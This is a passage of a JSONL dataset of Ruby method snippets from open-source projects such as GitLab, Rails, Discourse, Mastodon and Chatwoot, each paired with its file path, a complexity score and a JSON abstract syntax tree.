@keys\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@keys\"]},\"first\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mcall\",{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"call_dig\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mdelete\",{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"delete_nest\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mset\",{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"set_nest\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"singleton_class\"]},\"module_eval\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_method\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"lvar\",\"children\":[\"mcall\"]}]},{\"type\":\"send\",\"children\":[null,\"define_method\",{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"lvar\",\"children\":[\"mdelete\"]}]},{\"type\":\"send\",\"children\":[null,\"define_method\",{\"type\":\"sym\",\"children\":[\"set\"]},{\"type\":\"lvar\",\"children\":[\"mset\"]}]}]}]}]}]}]},null]}]}]}","id":"6a2fa9e1-379b-433b-8d51-03b849720c3a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/groups/transfer_service.rb","start_line":22,"raw_source":"def execute(new_parent_group)\n      @new_parent_group = new_parent_group\n      ensure_allowed_transfer\n      proceed_to_transfer\n\n      log_group_transfer_success(@group, @new_parent_group)\n\n    rescue TransferError, ActiveRecord::RecordInvalid, Gitlab::UpdatePathError => e\n      @group.errors.clear\n      @error = s_(\"TransferGroup|Transfer failed: %{error_message}\") % { error_message: e.message }\n\n      log_group_transfer_error(@group, @new_parent_group, e.message)\n\n      false\n    end","complexity_score":16.5,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"new_parent_group\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@new_parent_group\",{\"type\":\"lvar\",\"children\":[\"new_parent_group\"]}]},{\"type\":\"send\",\"children\":[null,\"ensure_allowed_transfer\"]},{\"type\":\"send\",\"children\":[null,\"proceed_to_transfer\"]},{\"type\":\"send\",\"children\":[null,\"log_group_transfer_success\",{\"type\":\"ivar\",\"children\":[\"@group\"]},{\"type\":\"ivar\",\"children\":[\"@new_parent_group\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TransferError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordInvalid\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"UpdatePathError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@group\"]},\"errors\"]},\"clear\"]},{\"type\":\"ivasgn\",\"children\":[\"@error\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"TransferGroup|Transfer failed: %{error_message}\"]}]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error_message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"log_group_transfer_error\",{\"type\":\"ivar\",\"children\":[\"@group\"]},{\"type\":\"ivar\",\"children\":[\"@new_parent_group\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"false\",\"children\":[]}]}]},null]}]}","id":"ef86854e-5eb2-4389-baa2-3e8385c3cb33"}
{"repo_name":"forem","file_path":"./repos/forem/spec/requests/stories/tagged_articles_spec.rb","start_line":230,"raw_source":"def renders_pagination\n            expect(response.body).to include('<span class=\"olderposts-pagenumber\">')\n          end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"renders_pagination\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"body\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"str\",\"children\":[\"<span class=\\\"olderposts-pagenumber\\\">\"]}]}]}]}","id":"4565f7c7-4fca-4929-9262-46ec4818e8fd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/labels_finder.rb","start_line":125,"raw_source":"def projects?\n    params[:project_ids]\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"projects?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project_ids\"]}]}]}","id":"c0469b93-86bf-4f8a-9866-7d3f32b7fbdf"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/lib/paperclip/color_extractor.rb","start_line":192,"raw_source":"def hsl_to_rgb(h, s, l)\n      h /= 360.0\n      s /= 100.0\n      l /= 100.0\n\n      r = 0.0\n      g = 0.0\n      b = 0.0\n\n      if s.zero?\n        r = l.to_f\n        g = l.to_f\n        b = l.to_f # achromatic\n      else\n        q = l < 0.5 ? l * (s + 1) : l + s - (l * s)\n        p = (2 * l) - q\n        r = hue_to_rgb(p, q, h + (1 / 3.0))\n        g = hue_to_rgb(p, q, h)\n        b = hue_to_rgb(p, q, h - (1 / 3.0))\n      end\n\n      [(r * 255).round, (g * 255).round, (b * 255).round]\n    end","complexity_score":57.43,"ast_json":"{\"type\":\"def\",\"children\":[\"hsl_to_rgb\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"h\"]},{\"type\":\"arg\",\"children\":[\"s\"]},{\"type\":\"arg\",\"children\":[\"l\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"h\"]},\"/\",{\"type\":\"float\",\"children\":[360.0]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"s\"]},\"/\",{\"type\":\"float\",\"children\":[100.0]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"l\"]},\"/\",{\"type\":\"float\",\"children\":[100.0]}]},{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"float\",\"children\":[0.0]}]},{\"type\":\"lvasgn\",\"children\":[\"g\",{\"type\":\"float\",\"children\":[0.0]}]},{\"type\":\"lvasgn\",\"children\":[\"b\",{\"type\":\"float\",\"children\":[0.0]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"zero?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"to_f\"]}]},{\"type\":\"lvasgn\",\"children\":[\"g\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"to_f\"]}]},{\"type\":\"lvasgn\",\"children\":[\"b\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"to_f\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"q\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"<\",{\"type\":\"float\",\"children\":[0.5]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"s\"]}]},\"-\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"*\",{\"type\":\"lvar\",\"children\":[\"s\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[2]},\"*\",{\"type\":\"lvar\",\"children\":[\"l\"]}]}]},\"-\",{\"type\":\"lvar\",\"children\":[\"q\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"send\",\"children\":[null,\"hue_to_rgb\",{\"type\":\"lvar\",\"children\":[\"p\"]},{\"type\":\"lvar\",\"children\":[\"q\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"/\",{\"type\":\"float\",\"children\":[3.0]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"g\",{\"type\":\"send\",\"children\":[null,\"hue_to_rgb\",{\"type\":\"lvar\",\"children\":[\"p\"]},{\"type\":\"lvar\",\"children\":[\"q\"]},{\"type\":\"lvar\",\"children\":[\"h\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"b\",{\"type\":\"send\",\"children\":[null,\"hue_to_rgb\",{\"type\":\"lvar\",\"children\":[\"p\"]},{\"type\":\"lvar\",\"children\":[\"q\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"-\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"/\",{\"type\":\"float\",\"children\":[3.0]}]}]}]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"*\",{\"type\":\"int\",\"children\":[255]}]}]},\"round\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"g\"]},\"*\",{\"type\":\"int\",\"children\":[255]}]}]},\"round\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b\"]},\"*\",{\"type\":\"int\",\"children\":[255]}]}]},\"round\"]}]}]}]}","id":"edfab636-9b2d-4c50-b76c-409d165f180f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/ci/helpers/runner.rb","start_line":26,"raw_source":"def get_runner_details_from_request\n          return get_runner_ip unless params['info'].present?\n\n          attributes_for_keys(%w[name version revision platform architecture executor labels], params['info'])\n            .merge(get_system_id_from_request)\n            .merge(get_runner_config_from_request)\n            .merge(get_runner_ip)\n            .merge(get_runner_features_from_request)\n        end","complexity_score":22.9,"ast_json":"{\"type\":\"def\",\"children\":[\"get_runner_details_from_request\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"str\",\"children\":[\"info\"]}]},\"present?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_runner_ip\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attributes_for_keys\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"version\"]},{\"type\":\"str\",\"children\":[\"revision\"]},{\"type\":\"str\",\"children\":[\"platform\"]},{\"type\":\"str\",\"children\":[\"architecture\"]},{\"type\":\"str\",\"children\":[\"executor\"]},{\"type\":\"str\",\"children\":[\"labels\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"str\",\"children\":[\"info\"]}]}]},\"merge\",{\"type\":\"send\",\"children\":[null,\"get_system_id_from_request\"]}]},\"merge\",{\"type\":\"send\",\"children\":[null,\"get_runner_config_from_request\"]}]},\"merge\",{\"type\":\"send\",\"children\":[null,\"get_runner_ip\"]}]},\"merge\",{\"type\":\"send\",\"children\":[null,\"get_runner_features_from_request\"]}]}]}]}","id":"97ee6c6c-b30f-4ac5-a773-539467d1a3e9"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/lib/rails/generators/channel/channel_generator.rb","start_line":113,"raw_source":"def using_node?\n          # Bun is the only runtime that _isn't_ node.\n          @using_node ||= using_js_runtime? && !root.join(\"bun.config.js\").exist?\n        end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"using_node?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@using_node\"]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"using_js_runtime?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"root\"]},\"join\",{\"type\":\"str\",\"children\":[\"bun.config.js\"]}]},\"exist?\"]},\"!\"]}]}]}]}","id":"d303a488-97e7-4500-943d-5219053aa57b"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/jobs/regular/export_csv_file.rb","start_line":449,"raw_source":"def write_to_csv_and_zip(filename, entity)\n      dirname = \"#{UserExport.base_directory}/#{filename}\"\n      FileUtils.mkdir_p(dirname) unless Dir.exist?(dirname)\n      begin\n        CSV.open(\"#{dirname}/#{entity[:filename]}.csv\", \"w\") do |csv|\n          csv << get_header(entity[:name]) if entity[:name] != \"report\"\n          public_send(entity[:method]) { |d| csv << d }\n        end\n\n        Compression::Zip.new.compress(UserExport.base_directory, filename)\n      ensure\n        FileUtils.rm_rf(dirname)\n      end\n    end","complexity_score":27.7,"ast_json":"{\"type\":\"def\",\"children\":[\"write_to_csv_and_zip\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]},{\"type\":\"arg\",\"children\":[\"entity\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dirname\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserExport\"]},\"base_directory\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"dirname\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mkdir_p\",{\"type\":\"lvar\",\"children\":[\"dirname\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CSV\"]},\"open\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dirname\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entity\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filename\"]}]}]},{\"type\":\"str\",\"children\":[\".csv\"]}]},{\"type\":\"str\",\"children\":[\"w\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"csv\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entity\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]},\"!=\",{\"type\":\"str\",\"children\":[\"report\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"csv\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"get_header\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entity\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"public_send\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entity\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"method\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"d\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"csv\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"d\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Compression\"]},\"Zip\"]},\"new\"]},\"compress\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserExport\"]},\"base_directory\"]},{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"rm_rf\",{\"type\":\"lvar\",\"children\":[\"dirname\"]}]}]}]}]}]}","id":"fab8faf2-4cd3-40b0-b25b-99dffb150252"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/i18n_lint.rb","start_line":63,"raw_source":"def initialize(filename)\n    @filename = filename\n    @errors = {}\n    ERROR_MESSAGES.keys.each { |type| @errors[type] = [] }\n  end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@filename\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@errors\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERROR_MESSAGES\"]},\"keys\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@errors\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}","id":"ebb85419-a60f-49e8-9c9a-92923796881f"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/lib/pretty_text_spec.rb","start_line":1344,"raw_source":"def strip_image_wrapping(html)\n      doc = Nokogiri::HTML5.fragment(html)\n      described_class.strip_image_wrapping(doc)\n      doc.to_html\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"strip_image_wrapping\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"html\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"doc\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"HTML5\"]},\"fragment\",{\"type\":\"lvar\",\"children\":[\"html\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"strip_image_wrapping\",{\"type\":\"lvar\",\"children\":[\"doc\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"doc\"]},\"to_html\"]}]}]}","id":"541d7c4a-0082-4cc6-b24a-aba133ddb412"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/cleanup/orphan_job_artifact_final_objects/process_list.rb","start_line":42,"raw_source":"def build_deleted_list_filename\n          dirname = File.dirname(orphan_list_filename)\n          basename = \"#{DELETED_LIST_FILENAME_PREFIX}#{File.basename(orphan_list_filename)}\"\n\n          return basename if dirname == '.'\n\n          File.join(\n            dirname,\n            basename\n          )\n        end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"build_deleted_list_filename\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dirname\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"dirname\",{\"type\":\"send\",\"children\":[null,\"orphan_list_filename\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"basename\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DELETED_LIST_FILENAME_PREFIX\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"send\",\"children\":[null,\"orphan_list_filename\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dirname\"]},\"==\",{\"type\":\"str\",\"children\":[\".\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"basename\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"dirname\"]},{\"type\":\"lvar\",\"children\":[\"basename\"]}]}]}]}","id":"2eed5073-4e05-49f7-bdce-197882815072"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/graphql/resolvers/design_management/designs_resolver_spec.rb","start_line":111,"raw_source":"def resolve_designs\n    Gitlab::Graphql::Lazy.force(\n      resolve(described_class, obj: issue.design_collection, args: args, ctx: gql_context)\n    )\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve_designs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Graphql\"]},\"Lazy\"]},\"force\",{\"type\":\"send\",\"children\":[null,\"resolve\",{\"type\":\"send\",\"children\":[null,\"described_class\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"obj\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issue\"]},\"design_collection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"send\",\"children\":[null,\"args\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ctx\"]},{\"type\":\"send\",\"children\":[null,\"gql_context\"]}]}]}]}]}]}","id":"799626c1-41c0-467f-aa03-2b6db4575f88"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/helpers/api/v1/inboxes_helper.rb","start_line":59,"raw_source":"def check_smtp_connection(channel_data, smtp)\n    smtp.start(channel_data[:smtp_domain], channel_data[:smtp_login], channel_data[:smtp_password],\n               channel_data[:smtp_authentication]&.to_sym || :login)\n    smtp.finish\n  end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"check_smtp_connection\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"channel_data\"]},{\"type\":\"arg\",\"children\":[\"smtp\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"smtp\"]},\"start\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"smtp_domain\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"smtp_login\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"smtp_password\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"smtp_authentication\"]}]},\"to_sym\"]},{\"type\":\"sym\",\"children\":[\"login\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"smtp\"]},\"finish\"]}]}]}","id":"557790b9-8d86-4d65-8aec-fb30195f67be"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/group.rb","start_line":1046,"raw_source":"def export_archive_exists?(user)\n    import_export_upload_by_user(user)&.export_archive_exists?\n  end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"export_archive_exists?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"import_export_upload_by_user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},\"export_archive_exists?\"]}]}","id":"9cdcaa27-65f0-42f5-864a-19b2a0ed6bf3"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/deprecation/behaviors.rb","start_line":79,"raw_source":"def disallowed_behavior\n        @disallowed_behavior ||= [DEFAULT_BEHAVIORS[:raise]]\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"disallowed_behavior\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@disallowed_behavior\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DEFAULT_BEHAVIORS\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"raise\"]}]}]}]}]}","id":"eeae5e18-442e-4cec-9aeb-d46097623322"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/javascript_helper_test.rb","start_line":98,"raw_source":"instance_eval { def content_security_policy_nonce = \"iyhD0Yc0W+c=\" }","complexity_score":6.0,"ast_json":"{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instance_eval\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"def\",\"children\":[\"content_security_policy_nonce\",{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"iyhD0Yc0W+c=\"]}]}]}","id":"a8957a9c-1d5f-443d-bc26-c041a376938b"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/custom_attribute_definitions_controller.rb","start_line":35,"raw_source":"def permitted_payload\n    params.require(:custom_attribute_definition).permit(\n      :attribute_display_name,\n      :attribute_description,\n      :attribute_display_type,\n      :attribute_key,\n      :attribute_model,\n      :regex_pattern,\n      :regex_cue,\n      attribute_values: []\n    )\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"permitted_payload\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"custom_attribute_definition\"]}]},\"permit\",{\"type\":\"sym\",\"children\":[\"attribute_display_name\"]},{\"type\":\"sym\",\"children\":[\"attribute_description\"]},{\"type\":\"sym\",\"children\":[\"attribute_display_type\"]},{\"type\":\"sym\",\"children\":[\"attribute_key\"]},{\"type\":\"sym\",\"children\":[\"attribute_model\"]},{\"type\":\"sym\",\"children\":[\"regex_pattern\"]},{\"type\":\"sym\",\"children\":[\"regex_cue\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attribute_values\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}","id":"881ef2c4-63c4-4bdc-96bf-79d45afb8108"}
